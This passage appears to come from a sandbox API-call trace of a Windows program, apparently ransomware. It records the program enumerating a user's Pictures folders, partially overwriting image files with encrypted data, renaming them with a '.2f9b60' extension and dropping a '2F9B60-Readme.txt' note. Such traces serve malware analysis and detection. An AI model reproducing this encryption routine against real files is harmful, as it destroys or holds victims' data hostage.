HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\*" [0118.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e060 [0118.491] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\*", lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x757ba5b0, ftCreationTime.dwHighDateTime=0x1d5e6be, ftLastAccessTime.dwLowDateTime=0x21fe47b0, ftLastAccessTime.dwHighDateTime=0x1d5e17a, ftLastWriteTime.dwLowDateTime=0x21fe47b0, ftLastWriteTime.dwHighDateTime=0x1d5e17a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8587f0 [0118.491] wcscmp (_String1=".", _String2=".") returned 0 [0118.491] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x757ba5b0, ftCreationTime.dwHighDateTime=0x1d5e6be, ftLastAccessTime.dwLowDateTime=0x21fe47b0, ftLastAccessTime.dwHighDateTime=0x1d5e17a, ftLastWriteTime.dwLowDateTime=0x21fe47b0, ftLastWriteTime.dwHighDateTime=0x1d5e17a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.491] wcscmp (_String1="..", _String2=".") returned 1 [0118.491] wcscmp (_String1="..", _String2="..") returned 0 [0118.491] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7bbf40, ftCreationTime.dwHighDateTime=0x1d5d86f, ftLastAccessTime.dwLowDateTime=0xae7988f0, ftLastAccessTime.dwHighDateTime=0x1d5e817, ftLastWriteTime.dwLowDateTime=0xae7988f0, ftLastWriteTime.dwHighDateTime=0x1d5e817, nFileSizeHigh=0x0, nFileSizeLow=0xf89b, dwReserved0=0x0, dwReserved1=0x0, cFileName="-eDZTf52txxgXpUWH.png", cAlternateFileName="-EDZTF~1.PNG")) returned 1 [0118.491] wcscmp (_String1="-eDZTf52txxgXpUWH.png", _String2=".") returned -1 [0118.492] wcscmp (_String1="-eDZTf52txxgXpUWH.png", _String2="..") returned -1 [0118.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118470 [0118.492] wcscpy (in: _Dest=0x118470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" [0118.492] wcscat (in: _Dest=0x118470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\" [0118.492] wcscat (in: _Dest=0x118470, _Source="-eDZTf52txxgXpUWH.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png" [0151.288] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\pxqxvd4_zyy0bvr\\-edztf52txxgxpuwh.png")) returned 0x20 [0151.288] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png", dwFileAttributes=0x20) returned 1 [0151.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\pxqxvd4_zyy0bvr\\-edztf52txxgxpuwh.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x24f4 [0151.290] GetFileSizeEx (in: hFile=0x24f4, lpFileSize=0x3dd0f800 | out: lpFileSize=0x3dd0f800*=63643) returned 1 [0151.290] SetFilePointerEx (in: hFile=0x24f4, liDistanceToMove=0xf897, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.290] ReadFile (in: hFile=0x24f4, lpBuffer=0x3dd0f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3dd0f7c8, lpOverlapped=0x0 | out: lpBuffer=0x3dd0f780*, lpNumberOfBytesRead=0x3dd0f7c8*=0x4, lpOverlapped=0x0) returned 1 [0151.291] SetFilePointerEx (in: hFile=0x24f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6dc0 [0151.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e20 [0151.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6eb0 [0151.291] NtQuerySystemTime (in: CurrentTime=0x3dd0f6c0 | out: CurrentTime=0x3dd0f6c0*=132462177565066000) returned 0x0 [0151.291] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x1964acfd [0151.291] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x74649ecd [0151.291] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x6945c561 [0151.291] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0xc945637 [0151.291] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x6cb3a0d6 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x5b5eb0a8 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x167d43c2 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x51074f99 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x725ab692 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x6c4de77c [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x589d3acd [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x704ade3 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x6c1208e1 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x676e7521 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x5f4ec65e [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x26fe7050 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x5cde4e22 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0xfe32e3 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x1617679f [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x7fa9de26 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x5c4a455d [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x7ad73488 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x298c7c36 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x6167fa21 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x3071fcd8 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x610bf9a9 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x2d2871d4 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x64b29ef6 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x2b91129b [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x4c1e92eb [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x611248a1 [0151.292] RtlRandomEx (in: Seed=0x3dd0f6b0 | out: Seed=0x3dd0f6b0) returned 0x5327fed5 [0151.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6ee0 [0151.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0151.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f10 [0151.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0151.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6eb0) returned 1 [0151.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6dc0) returned 1 [0151.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424cc580 [0151.305] SetFilePointerEx (in: hFile=0x24f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.305] ReadFile (in: hFile=0x24f4, lpBuffer=0x424cc580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3dd0f720, lpOverlapped=0x0 | out: lpBuffer=0x424cc580*, lpNumberOfBytesRead=0x3dd0f720*=0x3c00, lpOverlapped=0x0) returned 1 [0151.305] SetFilePointerEx (in: hFile=0x24f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586f0 [0151.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0151.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6dc0 [0151.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6dc0) returned 1 [0151.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424d0190 [0151.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6dc0 [0151.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6eb0 [0151.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6eb0) returned 1 [0151.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0151.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0151.307] WriteFile (in: hFile=0x24f4, lpBuffer=0x424d0190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3dd0f720, lpOverlapped=0x0 | out: lpBuffer=0x424d0190*, lpNumberOfBytesWritten=0x3dd0f720*=0x3c00, lpOverlapped=0x0) returned 1 [0162.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424d0190) returned 1 [0162.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424cc580) returned 1 [0162.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7aa9a0 [0162.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced22e0 [0162.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0162.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e40 [0162.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18e40) returned 1 [0162.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7a9e20 [0162.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e40 [0162.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e70 [0162.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18e70) returned 1 [0162.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0162.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced22e0) returned 1 [0162.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x1cdb89f0 [0162.525] SetFilePointerEx (in: hFile=0x24f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.525] WriteFile (in: hFile=0x24f4, lpBuffer=0x1cdb89f0*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dd0f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1cdb89f0*, lpNumberOfBytesWritten=0x3dd0f7d0*=0x11c, lpOverlapped=0x0) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb89f0) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a9e20) returned 1 [0164.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18e40) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa9a0) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6dc0) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e20) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6ee0) returned 1 [0164.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f10) returned 1 [0164.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118610 [0164.243] wcscpy (in: _Dest=0x118610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png" [0164.243] wcscat (in: _Dest=0x118610, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png.2f9b60" [0164.243] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png.2f9b60", NtPathName=0x3dd0f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\-eDZTf52txxgXpUWH.png.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799610 [0164.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 [0164.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad460) returned 1 [0164.337] NtQueryInformationFile (in: FileHandle=0x24f4, IoStatusBlock=0x3dd0f858, FileInformation=0x3dd0f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3dd0f858, FileInformation=0x3dd0f868) returned 0x0 [0164.337] NtSetInformationFile (FileHandle=0x24f4, IoStatusBlock=0x3dd0f858, FileInformation=0x3dd0f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0164.349] FlushFileBuffers (hFile=0x24f4) returned 1 [0166.258] CloseHandle (hObject=0x24f4) returned 1 [0183.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x202795b0 [0183.966] wcscpy (in: _Dest=0x202795b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\" [0183.966] wcscat (in: _Dest=0x202795b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\2F9B60-Readme.txt" [0183.966] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\pxqxvd4_zyy0bvr\\2f9b60-readme.txt")) returned 0xffffffff [0183.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\pxqxvd4_zyy0bvr\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1be0 [0192.679] WriteFile (in: hFile=0x1be0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3dd0f710, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3dd0f710*=0xba9, lpOverlapped=0x0) returned 1 [0204.077] CloseHandle (hObject=0x1be0) returned 1 [0207.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0207.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0207.986] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a7e6f0, ftCreationTime.dwHighDateTime=0x1d5d7b6, ftLastAccessTime.dwLowDateTime=0x425b1d60, ftLastAccessTime.dwHighDateTime=0x1d5e00a, ftLastWriteTime.dwLowDateTime=0x425b1d60, ftLastWriteTime.dwHighDateTime=0x1d5e00a, nFileSizeHigh=0x0, nFileSizeLow=0x5894, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kp1wSn7w.gif", cAlternateFileName="")) returned 1 [0207.986] wcscmp (_String1="Kp1wSn7w.gif", _String2=".") returned 1 [0207.986] wcscmp (_String1="Kp1wSn7w.gif", _String2="..") returned 1 [0207.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202adad0 [0207.986] wcscpy (in: _Dest=0x202adad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" [0207.987] wcscat (in: _Dest=0x202adad0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\" [0207.987] wcscat (in: _Dest=0x202adad0, _Source="Kp1wSn7w.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\Kp1wSn7w.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\Kp1wSn7w.gif" [0209.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202adad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1778 [0209.207] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e437e10, ftCreationTime.dwHighDateTime=0x1d5e506, ftLastAccessTime.dwLowDateTime=0x3272e5a0, ftLastAccessTime.dwHighDateTime=0x1d5dc76, ftLastWriteTime.dwLowDateTime=0x3272e5a0, ftLastWriteTime.dwHighDateTime=0x1d5dc76, nFileSizeHigh=0x0, nFileSizeLow=0x4c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="nEmsITE0FOIX.jpg", cAlternateFileName="NEMSIT~1.JPG")) returned 1 [0209.207] wcscmp (_String1="nEmsITE0FOIX.jpg", _String2=".") returned 1 [0209.207] wcscmp (_String1="nEmsITE0FOIX.jpg", _String2="..") returned 1 [0209.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x1ce236a0 [0209.208] wcscpy (in: _Dest=0x1ce236a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" [0209.208] wcscat (in: _Dest=0x1ce236a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\" [0209.208] wcscat (in: _Dest=0x1ce236a0, _Source="nEmsITE0FOIX.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\nEmsITE0FOIX.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\nEmsITE0FOIX.jpg" [0209.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce236a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f3c [0209.209] FindNextFileW (in: hFindFile=0x1b8587f0, lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e437e10, ftCreationTime.dwHighDateTime=0x1d5e506, ftLastAccessTime.dwLowDateTime=0x3272e5a0, ftLastAccessTime.dwHighDateTime=0x1d5dc76, ftLastWriteTime.dwLowDateTime=0x3272e5a0, ftLastWriteTime.dwHighDateTime=0x1d5dc76, nFileSizeHigh=0x0, nFileSizeLow=0x4c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="nEmsITE0FOIX.jpg", cAlternateFileName="NEMSIT~1.JPG")) returned 0 [0209.209] FindClose (in: hFindFile=0x1b8587f0 | out: hFindFile=0x1b8587f0) returned 1 [0209.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e060) returned 1 [0209.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0209.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b730) returned 1 Thread: id = 1365 os_tid = 0xd9c [0118.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202ae6e0 [0118.493] wcscpy (in: _Dest=0x202ae6e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1" [0118.493] wcscat (in: _Dest=0x202ae6e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\" [0118.493] wcscat (in: _Dest=0x202ae6e0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\*" [0118.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e2d0 [0118.494] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\*", lpFindFileData=0x2027e2d0 | out: lpFindFileData=0x2027e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63242e10, ftCreationTime.dwHighDateTime=0x1d5df79, ftLastAccessTime.dwLowDateTime=0x21e341e0, ftLastAccessTime.dwHighDateTime=0x1d5e378, ftLastWriteTime.dwLowDateTime=0x21e341e0, ftLastWriteTime.dwHighDateTime=0x1d5e378, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858550 [0118.494] wcscmp 